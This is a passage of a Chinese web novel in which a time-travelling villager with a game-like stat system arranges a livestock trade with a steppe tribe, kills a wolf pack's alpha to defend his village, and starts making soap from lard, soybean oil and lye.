从赵县尉那出来,县衙门口依旧有着排队等待分田地的农户,李逸本还想着去说多分地的事情,顺便询问下村子宅基地的情况。
若是现在还没有那么严苛的律令,他就提前寻找好地方,来年盖大房大院子,若是已经有了对应的律令,那更是要提前做准备。
李逸就是个不负责任的渣男!
他几句话给小蛮妞撩拨的心里像是着了火一样,结果他潇洒地就赶着大骡车去了县城。
乌兰一直惦记着李逸说用牛羊换粮食和盐的这件事情,饭都吃不好,本以为李逸会很快回来,哪成想一出去就是一天一夜,到了第
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二天傍晚才赶着骡车悠闲地回来。
“三叔回来了!”
“李逸兄弟回来了!”
李逸一进院,所有人都看向他这边打招呼。
如今他已经是这些人的主心骨,搁在现代怎么也是个小作坊的老板了,当然他这个老板不仅不黑心还很大方仁义。
“车上是啥啊李逸兄弟?”何铁牛问道。
“五百斤粗盐,剩下的都是的小麦。”
“买这么多盐!我给你搬屋里去吧”
何铁牛走上前,扛起一袋子就往屋里走。
“夫君,路上辛苦了“
白雪儿和陈玉竹一起走上前来,帮着李逸将大骡子拉进木棚里,陈玉竹上一次闹了笑话,差点被大骡子踢到,距离近些她就小心翼翼地。
李逸进屋还没来得及喝口水,乌兰就迫不及待地上来询问。
“你昨天说的和我们交换东西,我想听你仔细说说”
李逸疑惑歪了歪头,就一天不见,小蛮妞怎么还有烟熏妆了,眼圈黑黑的。
于巧倩看出自家夫君的疑惑,无奈地解释道:“昨日夜里,乌兰姑娘一直惦记着你说的事情,整夜没睡就等着你回来。”
李逸无语,这小蛮妞的性子这么耿直的吗,心里藏不住事儿啊。
“既然你有这个想法,那我就和你细说一下吧。”李逸那拿捏着姿态。
两人说了很久,多都是乌兰在问李逸回答,而对于李逸所说的交换条件,乌兰非常满意!
不同的牲畜兑换不同数量的粟米和盐,奶牛和种羊种牛是最值钱的,其次是大羊和大牛,最后是小羊和小牛。
乌兰非常心动,要不是身体没有完全恢复,她恨不得现在就回到部落和哥哥说这个好消息。
不过李逸却是说出了一个双方都需要面临的问题,那就是这些东西,要如何来运送?
横穿大鲜卑山这一路人都不少陡坡,就算能勉强赶着羊和牛过来,也没办法拉着粮食和盐回去,必须要找一个相对容易走的路线,要绕过这大鲜卑山脉。
乌兰一听,面色又变得难看起来,这一路走来路况如何她很清楚,牛马可以勉强过来,但是想要拉着粮食回去这一路非常艰难,用人零散的背那需要太多的族人一起出动,如果这时遭遇其它部落袭击,他们会损失巨大。
见乌兰纠结的眉头紧紧地皱在一起,李逸闭着眼回想,一幅地图的细节逐渐在脑海中清晰。
他和乌兰所说的问题,前往县城时他就考虑到了,之所以去找赵川,主要的目的就是再看看那幅地图!
河!
按照地图所绘制的,有一条名为拉沐伦的河穿过山脉,发源地在大鲜卑山脉和燕山山脉的连接处,而大荒村附近的那条干涸小河便是汇聚向这条拉沐伦河。
十年之前,这条小河还是常年有水流淌的,但后来不知为何河里不再有水了,只有开春大鲜卑山雪化时会形成一条小河。
中原因为一直都在藩王争霸的原因,对边陲的领土还没有太明确的划分,目前便是以大鲜卑山为界限,山的西北面是蛮子的草原,山的南边便是中原地界。
从大荒村前往安平县城,需要向正南方向走,而沿着村子附近的那条小河一直向西南就能到汇入到拉木伦河,沿着拉木伦河再往西走,穿过两座山脉之间形成的天然峡谷,就能进入草原。
李逸通过乌兰的描述,大致估算出大荒村和她们秃发部落间的直线距离,在以这个为基础推断,从大荒村赶着牛车马车绕路去秃发部落,赶路卖力些十天左右就能到达!
因为这一路长且需要承担不小的风险,再加上往年深冬都会有暴雪,所以交易的机会可能就只有这一次。
具体这场买卖能不能促成,最终的决定权不在乌兰这。
秃发部落三个最有话语权,部落首领乌孤排首位,之后是大长老途图鲁,然后是萨满狼跋,征战的事情,乌孤一个人就能决定,但涉及到部落的重要决策,大长老和萨满都能发表意见。
按照李逸的推断,乌兰和两个族人到十日未归,乌孤必定会派人过来,能不能促成买卖就看对方如何决定。
第八十八章:狼群夜袭!
北风呼啸,快速在山林之中穿行,所过之处传出如野兽般的低吼声,积雪被风扬起,风中夹杂着细碎的雪沫子在林间乱舞......
从山岭俯瞰,在下方的不远处,皎洁的月光下是破败静谧的小山村,只有稀疏的二十几栋茅草木屋。
黑暗中......一头体型庞大的长毛野狼脚爪踏着积雪缓步走来,它的身后有一片幽绿的光点,随着这些绿色光点的接近,一头头野狼的身形随之浮现,看数量有二十只。
几日以来,这支狼群一直在跟着年轻狼王在山中寻找着什么,而在今夜它们终于来到了这山林的最外围。
年轻狼王要来复仇了!
嗷呜.......
狼王发出了进攻的嚎叫,它从山林中一跃而出带起一片细碎的雪沫,身后的狼群也嚎叫着跟它一起冲出。
.......
李逸刚放下手中的针线活,就看到白雪儿和陈玉竹端着木盆进来。
“夫君辛苦了,我和雪儿一起服侍你”
看她们两个都如此很坚持,李逸索性就由得她们,总是拒绝她们的心里反而会不安失落。
这个时代中原女人思想被三从四德给束缚,所要求的女德,李逸觉得这和强制PUA没有什么差别,你都不用说什么她们就能做好自我攻略,大户人家更是不用夫家说什么,这些女人就会主动帮着夫家寻觅妻妾。
【我有办法了!】
乌兰的内心戏又开始了.....
她坐在那苦思冥想着怎么运送交换的粟米和食盐,这个小蛮妞甚至想出了六七个人以人力不停往返的办法,一趟运不完就十趟,百趟,直至运送完为止。
李逸无奈地扯了扯嘴角....
好家伙!小姐姐,我只想做个买卖,你在这跟我玩愚公移山呢?
多年之后,这段历史会被鲜卑族子孙们泣血成书,当年要不是先祖们翻越崇山峻岭带回来米粮和盐,他们就撑不过那个难熬的冬天,是先辈用背脊撑起了整个部落,库库感动.....
李逸想不通,但表示尊重!
【这乌兰什么时候走啊,她在这我都没办法给夫君侍寝了,啊...好着急啊】
白雪儿的心声乱入进来,一如既往的执着。
秦心月正在仔细观察李逸带回来的反曲**,李逸将其中一把给了她,还在握把的地方仔细地缠绕了皮革,增加握感的同时能起到保护耐用的效果,秦心月甚是喜欢,夫君总是会把对她的好藏在不经意的这些小细节里。
“倩儿,我那箩筐里有个布袋,你把它拿出来。”
“嗯.....”
于巧倩连忙下炕从箩筐中找到了李逸说的布袋,拎出来在手里感觉沉甸甸的。
“夫君这里面是什么?”于巧倩下意识问。
李逸嘴角微微翘起:“你打开一看便知”
见李逸如此,于巧倩内心稍有期待,她将布袋放到炕上,解开袋口的绳子向里面看去,发现竟是一卷卷书简!
李逸最诧异的便是,在生产力如此低下的时代,竟然有造纸术,虽说纸张比较厚但足矣满足书写的要求,不过也是稀缺物,多是被官府所使用,读书人用得最多的还是书简。
李逸在县城找不到卖书的地方,还是托了王金石的关系让他在书肆里弄到了些书简,刻刀和墨。
这个时代的文人是很少的,也没有什么科举制度,不是后世的考试取士,而是推荐取士。
由各地的最高官员,从当地有才能有名望的人中选取,再由更高级别的上官进行审核,符合要求便可为官,重要的官位则是要皇帝陛下亲自审核。
一些地方性的小官小吏,地方最高的官员有直接选拔任命的权利,像赵川的县尉,便是由郡尉直接任命派遣过来,县丞张贤则是在举荐后由郡丞二次审核,确认具有才能后正式任命。
文人之风真正兴起,科举制度功不可没,学堂书院书局,这些才会应需求迅速发展起来。
在这之前,甚至都没有专门售卖书的铺子,书还以复刻抄录的方式在传递,李逸带回的书简,便是书肆里的文人之前复刻的,甚至有抄书匠就是以这个为营生。
“夫君....这些书简....”
“都是送给你的,想着倩儿应是喜欢读书的,所以就托王店主弄了这些书简,喜欢吗?”李逸微笑说道。
于巧倩双眼微红,她没想到自家夫君会看出她喜欢读书这点,说明他是有用心在自己身上。
“倩儿多谢夫君!”
【于巧倩好感度+12(当前好感度45)】
李逸心中惊喜,总算是将倩儿媳妇的好感度提升到正常水准了,总是这么低让李逸会有一种错觉,他倩儿媳妇的心里还住着个白月光啊。
李逸故作不悦地瞪了于巧倩一眼:“唉?跟自己夫君还用这么客气吗,好好服侍夫君,争取早日给我李家传宗接代,那就是你对夫君的感谢。”
于巧倩脸颊微红,双手捧起书简小心翼翼地打开,以前爹爹在时便是爹爹教她识文断字,久而久之便是喜欢上了看书,觉得书中有很多她所不知道的事情。
“行了,已经很晚了,爱妃们睡觉吧,”
嗷呜......
李逸正准备起身,忽听见有狼嚎之声。
这声音和之前的几次都不同,听着格外清晰,且还有多个狼嚎之声在响应它。
李逸和秦心月神色一变,炕上发呆的乌兰也如临大敌的警觉起来。
“有狼进村了!”
李逸说完,快速穿鞋穿皮袄,还拿起弓箭,想要提升狩猎等级,他等的就着这波熟练度!
见李逸和秦心月背上弓箭和箭囊要出门,乌兰也跟着起身想要一起出去,直觉告诉她是那只李逸没能杀死的狼王回来复仇了,而她同样也想给自己的族人复仇。
“让我跟你们一起去!我要为我的族人报仇!”乌兰眼神冰冷。
李逸皱眉:“你的伤还没好呢,动得太用力伤口会撕裂的。”
乌兰一把拉着李逸的胳膊眼神决绝:“就算撕裂我也要去!我要给我的两个族人报仇!我能感觉得到,是那头狼王来了!”
见乌兰你如此坚定,李逸将之前自己手搓的反曲**给了她用。
“那你自己小心点,我可得顾不上照顾你。”
“雪儿,倩儿,你们关好门,不要乱跑”
叮嘱了一句李逸快速冲出屋子。
今夜的月亮格外明亮,大地仿佛是要从天上掉下来了,月光映照着地面的积雪散发淡淡银光,远远就能看到山坡方向有一群黑影在向着村子快速奔来,那是狼群!
“心月,你去喊嫂子,让豆子和大丫都过来,之后来山坡和我们汇合。”
“嗯,你小心些!”
秦心月的脚下仿佛生了风一样,步子极快地冲向张绣娘家。
虽说没有那种高来高去的轻功,但她的脚力却是异于常人,另外在李逸传授给他新的《气合拳呼吸法》后,经历过最开始的别扭感之后,她也感受到新呼吸法的特殊之处,以气运力的效果提升不少。
乌兰不仅是个子高,骨架大,身材丰满,还有一双笔直的大长腿,她奔跑的速度很快,此时不在乎什么伤口被撕裂,一心只想给骨延和风律报仇,她要杀了那只狼王。
“乌兰,我先过去了”
一起在雪中奔跑的李逸,突然说了这么一句让乌兰不理解。
在部落里,论谁跑得快乌兰几乎超过了所有男人,李逸身形不仅不高大还瘦弱,她不觉得李逸能跑得比她快。
话音刚落......
李逸就如同雪豹一般窜了出去,身形压低的他,奔跑起来速度奇快,眨眼间就将乌兰远远落下。
乌兰不可置信地瞪大双眼,竟是有人能跑得和骏马一样快!
迎面的寒风吹在脸上,李逸微眯着双眼,他在仔细感受身体的变化,一次增加两点敏捷属性,三点变五点,他的速度相当于在原有的基础上成倍的提升。
不仅如此,身体的协调性,平衡性也都大
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大提升,这让李逸觉得他的身体现在就是一辆调整到完美的赛车。
从山坡上极速冲下的狼群速度同样很快,映照在月光和白雪间,它们的身体就是一道道轮廓清晰的黑影,
因为在屋里耽搁了些时间才出来,狼群先一步冲进村子,已经有狼冲入村北第一家院墙坍塌的农户家。
破旧的屋门被野狼凶猛地冲撞,这些野狼的力道极大,没有上门栓的木门轻易地被撞开,之后就是一阵惊恐凄惨的叫声......
李逸眉头皱起,他没想到狼群会这么轻易就冲进屋里,略一思索他便知道了原因,村里很多农户屋门都破旧得只能勉强挡风而已,家里没有男人的寡妇,就是门坏了也不会自己修,想办法遮掩一下就完了。
眼下给这些野狼提供了便利,让它们可以轻易地冲进屋里,结果如何,可想而知!
狼群进入村子后便是分散开来,三两只一组冲向各个农户的院子中,山坡方向就剩下一道黑影,李逸知道那就是狼王!
如果不管其它,只从战术分析,弄死狼王之后狼群就是一盘散沙。
但若是真那样,这期间会有很多村民遭殃成为野狼下的亡魂,就算是没有交情的人,也不能就这么放任同类被异类所杀。
李逸的奔跑速度再次提升,村北的第一家是谁家他已经顾不上去思考,只知道现在过去已经晚了,他直接跑向野狼扩散袭击各农户家的必经之路。
前方有两道黑影冲来,眼下黑暗无法看得清晰,但只要能够确定野狼的身体轮廓就够了。
更何况,野狼的眼睛还能在黑暗中散发幽绿光芒,见到两个绿色光点时就代表着可以确认头颅位置。
弓弦发出沉闷的响声,羽箭的破风声锐利,羽箭飞行的速度也远比寻常。
这边刚松开手,前方的一只野狼便应声扑倒的雪地中,随后第二支羽箭也利啸着飞出,另一野狼应声扑倒在雪地之中。
李逸看都不看一眼,调转方向寻找下一个目标,箭射就转头是他对自己箭术的绝对自信。
【狩猎熟练度+60】
【狩猎熟练度+60(当前熟练度1860)】
还差最后140点熟练度,只需要再猎杀三只野狼!
李逸心头火热,相比于狩猎提升会给的额外奖励,基础增加三点属性点要更诱人,只有身体的提升才是永久的提升。
乌兰跟过来时,一眼就看到了两只野狼的尸体,全都是射中的脑袋一箭射杀,她对李逸实力很是震惊,没想过这中原男人有如此厉害的箭术。
乌兰看向山坡方向,她也看到了那道黑影,耳边有人的惨叫声,说明有中原人被野狼袭击。
乌兰想到去年大雪部落被狼群袭击时,草原人住的毡房可没有中原人这种木门,所以那些野狼能够轻易冲进毡房中攻击族人。
那一次她的眼里只有对击杀狼王的渴望,虽是狼王和所有野狼最后都被击杀,但在事后清点时却发现族人死伤了二十多人,乌兰那时想过,如果她不去追狼王而是先杀攻击族人的野狼,族人的死伤就能少一些。
犹豫之后,乌兰向着有惨叫声传出的方向冲去,狼王可以等下再杀,但被狼攻击的人一刻都等不了。
李逸就近冲入一家院子中,成功在野狼的口中救下了一个死命抵抗的寡妇,屋子里还有一个十一二岁的瘦弱女娃,若他再慢上一些,这对母女都要遭殃惨死,这更坚定了他先救人的想法。
这种时候不是再计较恩怨得失的时候,什么是杀伐果断,无非是自私自利的自我安慰,李逸更愿意信奉大丈夫有所为有所不为,这是他最基本的是非观和底线。
李逸将**从野狼的脖颈处拔出,看了眼这个身上多处被抓伤咬伤的寡妇,还好伤口都不深,缩在墙角的少女瞪着惊魂未定的眼睛盯着李逸。
“你来帮你娘按着伤口,等我杀了这些狼就帮你娘包扎”
李逸说完冲出院子,以最快的速度去往下一家.....
第八十九章:狩猎之王
【狩猎熟练度+60】
【狩猎等级提升】
【获得奖励:体质+2敏捷+1】
【获得奖励:生存技能专属被动(狩猎之王)】
【狩猎之王:进入狩猎状态,身体感官和人物属性对身体强化的效果提升35%】
李逸此时顾不上理会系统的提示,快速冲向那边一道被四只野狼合围的身影,看身形应该是乌兰。
这小蛮妞可能是天生有招狼的体质,李逸四处救人,最多是遇到两只一起的,她却这么轻易的就陷入四只狼的**,让李逸很清楚的意识到,努力嘛在天赋面前是一文不值!
乌兰也没想过,她从那个院子中杀了一只袭击人的野狼,转身再出来就被四只野狼给围住了,身体有多处伤口又开始疼,乌兰却毫不在乎。
面对这些野狼她的眼里也没有任**惧,龇牙同样如野兽一样和它们对质。
野狼没有立刻发动攻击,是它们嗅到了狼王的气息,它们在犹豫,一切都是源自乌兰脖颈项链上的狼牙。
乌兰猎杀的那头狼王,最锋利的四颗狼牙,她给了哥哥和阿娘一人一颗串成项链,剩下的两颗全在她脖颈的这串项链上,这是她作为勇士的荣誉。
乌兰缓缓后退,野狼不发动攻击,她若是突然发动攻击,另外的三只必定会马上反击,她最多只能射死一只野狼,之后就要以现在身体和三只野狼近身厮杀。
就在她咬牙准备放手一搏时,侧面有一支箭射来,精准命中她面前那只野狼的头颅,另外三只野狼瞬间调转攻击目标冲了过去。
乌兰侧头看去,拉弓射箭的动作停下。
三只野狼冲向那边时,第二只紧接着就被一箭射死,剩下的两只野狼冲向黑暗中的人影,一同扑上去。
哀嚎声响起,一只野狼以更快的速度,倒飞了回来重重摔在地上滚了好几圈,挣扎着竟是一时之间无法站起来。
另一野狼,身体还保持着飞扑的动作就被一把**在空中刺穿了脖颈。
李逸甩手将这只野狼丢在地上,一步一步走向刚挣扎起身的野狼,一脚踢出,这只有七八十斤重成年野狼,竟然像是皮球一样飞了出去,撞在那边一棵柳树上。
皮肉和树干撞击在一起,发出了沉闷的声响,其中隐约夹杂着骨骼断裂的声音,这只野狼落地后身体便一动不动,显然已经**。
李逸看向那边愣住的乌兰,只是眼神就让乌兰起了一层鸡皮疙瘩汗毛根根竖起,这是她从未层感受过的危险气息。
无论是狼王,部落里最强的勇士各哥哥乌孤,还是拓跋部落那个身材壮硕如山般的强壮男人,都无法和此时李逸相比,让她心中忍不住出现战栗感,全身上下都给出了危险反馈,是身体上的恐惧,随之影响到内心和意志。
这个中原男人竟然这么强大,难道他是中原部落最强的勇士?
乌兰的心中突然闪过这个念头。
李逸也被自己刚才的一脚给惊到了,在系统提示狩猎等级提升后,他的个人实力就突然得到了巨大的提升,且在战斗状态下,他不仅不会紧张,体内还有一阵阵对狩猎的躁动渴望,狩猎时有一种周围的一切都在他掌控之中的奇妙感觉。
刚才野狼飞扑向他的动作,在他的眼里很慢的,这是因为他的速度太快了,面对比他慢的生物便是有着绝对的压制。
周围已经没有了猎物,李逸身上那种危险的气息便自动解除,身体放松后乌兰强撑着没让自己一屁股坐在地上,被人一个眼神吓到腿软,这让她羞愤的同时,更倔强地不想承认自己的弱小。
“你为什么没有去杀那狼王?”
李逸还以为小蛮妞会去直接找狼王报仇。
“狼王随时都能杀,人不救,就没了!”
乌兰的表情和语气都很真诚,这让李逸又对她高看一眼,毕竟这些可都不是她的族人,但她还是愿意出手相救,所以骨子里其实她是很善良的。
细碎的脚步声快速接近,李逸耳廓微动,不用看他也知道是秦心月赶来了。
“夫君,你没事吧?”
秦心月第一时间是关心李逸是否受了伤。
“没有,你那边怎么样?”李逸问
“有野狼进屋伤人,我杀了六只,**一个村里人,还有一些受了轻伤。”
嗷呜.......
山坡方向,狼嚎声响起。
随后在村子的其它方位先后有五声狼嚎回应,黑暗中五道黑影冲出村子向着山坡的方向跑去。
李逸听出了狼王这是在召集它的狼群,还在村子里的五只野狼,回应之后必定会去和狼王汇合,狼王的号令这些野狼不敢违背。
“走吧,决战的时候到了!”
李逸望向山坡上的那道被白雪映照的黑影。
山坡之上,狼王微微扬起了头颅,五只野狼跑过来后站在它周围站定,其它没有回来的狼王知道,它们回不来了。
就在这山下有一个强大的王,击败他后,它便是这座山林中唯一的王!
狼王迈动脚掌,一步步向着山下走。
没过多久,李逸带着秦心月和乌兰来到了山坡下。
坡上坡下,狼王和李逸的距离不足百米。
嗷呜......
狼王对李逸发出了挑战。
狩猎等级再次提升,李逸脑海中又多了不知道多少强大猎人的技艺,其中就包括一些专门研究野兽叫声的猎人,虽是到不了可以和野**谈的程度,但一些叫声所代表的是什么意思,是可以清晰分辨出的。
“我一个人,你们别跟着!”
李逸将身上背着的反曲**摘下,递给身后的秦心月。
“夫君,那是狼王不可大意!”
秦心月见李逸这副模样,连忙拉住他的胳膊。
李逸转头看来,四目相对,秦心月竟是下意识的松开手,全身的肌肉都不自己觉得紧绷起来,她在李逸的身上嗅到了极度危险的气息,让她都不由得动容。
“放心,我有分寸”
李逸说完一步步走向狼王,狼王也如它一样单独走出,宽厚的脚掌一步步踩在积雪之上,山风吹动它的长毛。
狼王清楚它所面对的目标有多么危险,但它毫无畏惧!
王!只能有一个!
李逸和狼王一同停下脚步,距离只有三十几米,若是此时李逸手中拿着弓,狼王已经是一具被射穿头颅的尸体了。
狼王一声嚎叫,飞扑而下它快速冲向李逸,李逸的目光陡然变冷,周身散发着一种危险的气息,在唐嫣然和乌兰震惊的眼神中,他表现出了比狼王还要迅猛的速度。
狼王在上坡顺势高高跃起,庞大的体型让它人立而起时看着比李逸还要高大,以李逸略显瘦弱的体型如此对比让人感觉他是毫无胜算,是羊入狼口。
眼看着就要被扑中,李逸突然侧滑步闪身躲避,脚掌带起的积雪飞溅而起,李逸以单脚为轴身体扭转,顺势一记鞭腿狠狠地抽在狼王身上,怪力蛮不讲理地将体型庞大的狼王踢翻在地。
狼王在地上一个翻滚快速起身二次扑来,刚才被李逸所踢中的地方出现了不正常的凹陷,似乎是骨头断了,这严重影响了狼王的行动速度。
二次躲闪开狼王的扑击,李逸的第二脚踢在狼王硕大的头颅上,狼王倒地后再起身时身体也是摇摇晃晃,它用力晃了晃脑袋。
两次碰撞,李逸就大致清楚了现在自身的实力,决定给狼王一个体面的死法,他冲上去,狼王强打精神反击,李逸闪避到侧面,扑到狼王后背上用**猛刺狼王脖颈。
滚烫的鲜血顺着伤口流出,全部洒落在脚下的积雪上.....
狼王奋力甩身,李逸动作灵活地拉开和它的距离,狼王的身形摇摇晃晃扑倒在地,它发出一声不甘的低吼,强撑着站起身一步步艰难地走向李逸,没走出几步便重重地摔倒,呼吸逐渐微弱直至最后彻底死亡......
【狩猎熟练度+100】
李逸转身看向山坡上的五只野狼,那五只野狼没有逃跑,全都匍匐在地,头颅低低地贴在地面,这是在向李逸臣服,李逸击杀了狼王自然就是新的狼王。
李逸走到这些野狼身边,他仰起头学着狼王的模样发出嚎叫,声音笼罩整个大荒村,也传入了山林之中。
战争都有不杀降兵一说,眼下五只野狼都已经表示要臣服,这种情况下一个骄傲的猎人,不会再痛下**,此战之后这五只野狼,
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只要活着它们就永远不可能再来袭击村子。
另外不论何时,只要李逸在山林中发出狼嚎,它们听到后必然会迅速过来。
李逸有意把它们留下来当看门口狗,问题是野性难训,这些狼臣服他也只怕他自己,对其他人来说还是具有危险性的,除非它们能像赤狐那样通人性,若是有狼崽子,从小开始驯养还要好一些。
“走吧!”
李逸抬手一挥,五只野狼起身后迅速窜进山林,跑出一段后它们一同对着山外发出嚎叫声。
走回到二女身边,秦心月和乌兰还没有从刚刚震惊的一幕回过神来。
李逸不仅是徒手战胜了狼王,还赢得游刃有余。
【夫君在习武上的天赋,高得可怕!】
秦心月美眸流转,似惊喜似惋惜。
【他就是中原最强的勇士!】
乌兰心中惊叹,看李逸的眼神也闪闪发亮。
见到秦心月还有些眼神发直,李逸笑着打趣:
“心月是不是觉得夫君刚才武威不凡啊,以后你若忤逆夫君,当心夫君打你屁股。”
秦心月一笑,早就习惯了自家夫君的口无遮拦。
“那五只野狼放走,是不是有些不妥?”秦心月问。
李逸自信说道:“不会的,它们从今往后就是我在山林中的眼睛,我一声狼嚎它们必定会出来见我。”
乌兰点头,语气很认真:“没错,你现在就是它们的狼王!”
李逸托着狼王的尸体下山,回到村子后他深吸一口气大喊:
“狼群已经被赶跑了,村子里受伤的人到我李三家来!”
一路往回走,一路喊着,陆续有农户小心翼翼地走出门,都走向李逸家,他们在路上看到了**后一动不动的野狼,知道这些都是李逸做的,心中稍稍松了一口气。
李逸三人前脚刚进家,后脚何铁牛就赶了过来。
“李逸兄弟,你没受伤吧?”
上次见过李逸和秦心月击杀那些土匪,何铁牛就知道如今的李逸可是不能再看作是以前的那个李三了,脑袋灵光,还有一身本领,跟着他准没错。
“没事,几只野狼而已,和凶点的狗没什么区别。”
“铁牛哥你来得正好,你拉着板车和心月出去,把狼尸都带回来。”
“好嘞!不用弟妹去,我一个人就行!”
“铁牛哥,还是我和你一起去吧,你一个人怕是不好找的。”
听到秦心月这么说,何铁牛点头:“那成,你和我一起去!”
李逸和乌兰进屋,听到李逸回来白雪儿迫不及待冲了出来。
“夫君!你没事吧!”
“三叔!我听见有好多狼啊!”
张绣娘和豆子大丫也在,李逸出去的这段时间,她们在屋里能够听到一声声狼嚎,院子里的大骡子也在不安地闹腾着,每个人都很紧张。
“几只野狼而已,你三叔我多厉害啊,十里八乡都找不到我这么厉害的猎人。”
“对!三叔最厉害了!我要跟三叔学打猎!”豆子虎着小脸,语气认真。
“不对啊,你前几日还说要跟我学做肉包子的”
豆子表情纠结到一起,想了想说道:“我都学!三叔会的我都要学!”
李逸摸了摸豆子的头进屋,看他这有说有笑的模样,大家也就都放下心来。
没过多久,院子里陆续有人进来,第一个就是李逸救下的李寡妇,被那个怯生生的小姑娘搀扶着。
李逸进屋就准备好了伤药,让白雪儿和张绣娘她们出去烧热水,给李寡妇擦拭伤口,涂抹好伤药后用纱布包扎好。
【医术熟练度+5】
期间院子里陆续有人进来,这次村子被狼群袭击,一共有三人死亡都是被咬烂了脖子,血液流得满地都是,目睹了自己的娘被野狼咬死,刘寡妇那七岁的儿子吓坏了,脸色就和一张金纸一样。
李逸给每个人受伤的村里人处理伤口,那些没受伤的村民也都跟着来到院外。
“行了,没事了,大家都回去吧,受伤严重的人隔一日来找我换药。”看着一院子的村民,李逸挥了挥手说道。
正当他要转身进屋时,李寡妇和她女儿带头,一个个村民全都跪下了.......
第九十章:手搓肥皂,新的赚钱思路
草原,秃发部落......
乌孤看着自己阿娘在毡房里焦急地来回走动,脸上终于不见了前几日的自信和从容。
乌兰和风律,骨延三人一起去探查中原的部落,已经走了八个晚上,按道理这时间足够他们探查完返回了,可却始终不见人影。
“乌孤,你不能再等了,这么久了若没事她们早该回来了,到现在还没有回来,乌兰肯定是出事了!”
乌孤站起身,深吸一口重重点头:“好!阿娘,我这就带着族人过去寻找她们!”
在乌孤来看,妹妹他们很有可能是被中原那边的部落发现给抓住了,他必须带着部落的勇士们去将妹妹救回来。
披上狼裘,乌孤大步走出毡房。
“首领,你不能亲自过去,如果你走了有其它部落来袭击我们怎么办?”
听到乌孤要带着部落里的勇士去寻找乌兰他们,大长老图鲁第一个站出来反对。
“那是我的妹妹,我必须去救她,中原人敢伤害我的妹妹,我就血洗他们的部落!”
乌孤铁了心要去,完全不顾大长老的劝说。
看二人气氛紧张,萨满狼跋出来说和,他觉得乌孤应该去救乌兰他们,但要提防着这期间部落被人袭击,所以不能带太多人过去,要留几个强大的勇士守着部落。
乌孤和图鲁听从他的意见各退了一步,就按照狼跋的意思,乌孤只带了八个部落里的勇士随他一起,将部落的第二勇士狼突给留下。
带好了食物和水,九个人骑着骏马离开,等他们进入大鲜卑山,那些马儿能够自己回来,不需要担心这些骏马会丢失。
大荒村......
那夜狼群袭击村子,李逸带头击杀驱赶狼群救下了很多人。
那夜之后,李逸就成了大荒村第一人,村子里的人都感激他佩服他,不说是唯命是从,但李逸说的话会相当有分量。
回想起十几个人跪在面前的模样,李逸内心还是很触动的,思量后他决定提前实施计划,带村里人一把。
因为后续要做的事情很多需要人手,只要可靠听话他愿意带着同村人,能听到心声,也不怕一些人有歪心思,生出歪心思的直接踢出去就好,那会是他们一辈子的损失。
眼下没有什么需要大规模做的事情,就先让大家在家里给粟米脱壳,太多铜钱赚不了,一日三餐还是可以保障的,等过了这个冬天,开春种地可忙活的事情就多了。
另外如果他能和乌兰的部落谈成,双方促成交易,李逸会得到不少牛羊甚至是马,喂养它们需要每天有人割草,这种小活也可以交给村里人,给些粟米让他们能吃饱就行。
李逸用了一天时间赶制给粟米脱壳的工具,木工的熟练度一直在稳定提升,这期间他还完成了对碱块的二次提纯,如此所得到的碱,纯度已经在百分之八十到九十。
之所以没有去想提纯到百分百没有杂质的纯碱,是因为这在古代是完全没有可能实现的,所以就没有必要再浪费时间和精力去想办法,只有百分之十左右的杂质不影响正常使用。
乌兰躺在炕上,身上几条大伤口因为剧烈动作都撕裂了,李逸又给她涂抹了伤药,还用线将几条最大的伤口给缝合上,按照他所说的这能让伤口好得快些。
乌兰掰着手指算了算,她出来已经有九日,阿娘现在肯定很着急,她着急就会去找哥哥乌孤,以哥哥的性子必然是以为她被中原人给抓了或是害了,所以他现在已经带着族人进了山,再过个两三日就能到这边。
这样一来也好,可以让哥哥跟李逸谈交易的事情,李逸是徒手战胜狼王的勇士,他说的话可以相信,只要哥哥答应交易,这个冬天部落就不用担心有人会饿肚子。
李逸敲敲打打,正在制作很特别的模具,长方形巴掌大,可以轻松地拆卸。
距离天黑还有一段时间,他打算先制作肥皂,一分一秒他都不想再等了。
这两天头皮痒得挠完指缝里都是头油,头皮屑也和雪片一样飘落,每次挠头脑海中都有一段魔性旋律。
模具搞定,开始手搓肥皂!
李逸拎着两个陶罐去了院外,一罐猪油,一罐豆油。
先用木勺从陶罐里把猪油弄出了一半丢进锅里,然后又将另一个陶罐里的豆油倒出三分之一,这样猪油豆油的比例大概在六比四到七比三之间,不需要太过精确。
生火加热铁锅让猪油融化和豆油融合到一起,因为之前就考虑过,所以无论是豆油还是猪油,倒入罐子时都用麻布和纱布过滤过油渣和豆渣,眼下方便了不需再过滤就能直接使用。
凝固成块的猪油遇热化开和豆油完全融合,李逸将灶膛里燃烧的木条抽出,等油冷却的这段时间,将之前预留没有放到木槽里静置的碱水端来,加入一些温水在陶罐里快速地搅拌。
这个过程要持续一会,需要让碱和水充分融合,因为不是百分之百的纯碱,融合后碱水是有些泛白的,静置一会等杂质沉淀,只用上面一层清亮些的碱水,或者用麻布和纱布再过滤一下,杂质太多肥皂内会有硬块影响使用的效果。
确认锅里的油温度降下来,以手掌摸锅壁不感觉到烫手,温温的即可,时机成熟,李逸连忙将碱水端来,顺着锅壁一点点倒入。
他用的陶罐大小几乎一致,这样后续制作他有参考,大致知道比例就可以完成制作。
造化反应的过程,和卤水点豆腐操作流程很像,加入碱水之后用力搅拌锅里的油,这个过程要至少要二十分钟,确保最后加入碱水的油变得和粘稠的粟米粥一样,挂在木棍上不低落,低落之后无法瞬间和周围的油融合到一起,过稀就要继续加碱水强化反应。
因为加入了豆油的原因,猪油的腥味被遮掩了不少,没有那么的刺鼻难闻。
眼见着锅里的油终于到了最满意的状态,李逸将刚刚制作的模具拿来,每个模具上都有四个预留的槽,可以制作出对应的四个肥皂块,李逸特意在模具的底部留下阳刻的字,每个模具格子里的字都不相同。
福,寿,安,康,阳刻的字在倒入皂化的油脂后,等其完全成型肥皂上面就会出现阴刻的字,陷入肥皂内。
等待肥皂成型的过程需要四五天,是碱水变成碱块时间的两倍,另外在肥皂脱模后还要风干十天左右,这样才能保证肥皂块的硬度,使用的寿命更长不会遇水一炮就变得软烂。
这种需要时间的问题是李逸最无奈的,必须要耐心地等上三四天,他才能使用心心念念的肥皂。
听到有脚步声李逸抬头,是那名叫小雨的男孩,母亲死后他现在成了孤儿,目前村子里有能力收养他,只有李逸家,何铁牛,张绣娘,陈氏。
陈氏看到这小雨,就想到之前那些被王赖子卖掉的孩子,如今也有该这么大的才是,她愿意收留,小雨也愿意跟着她。
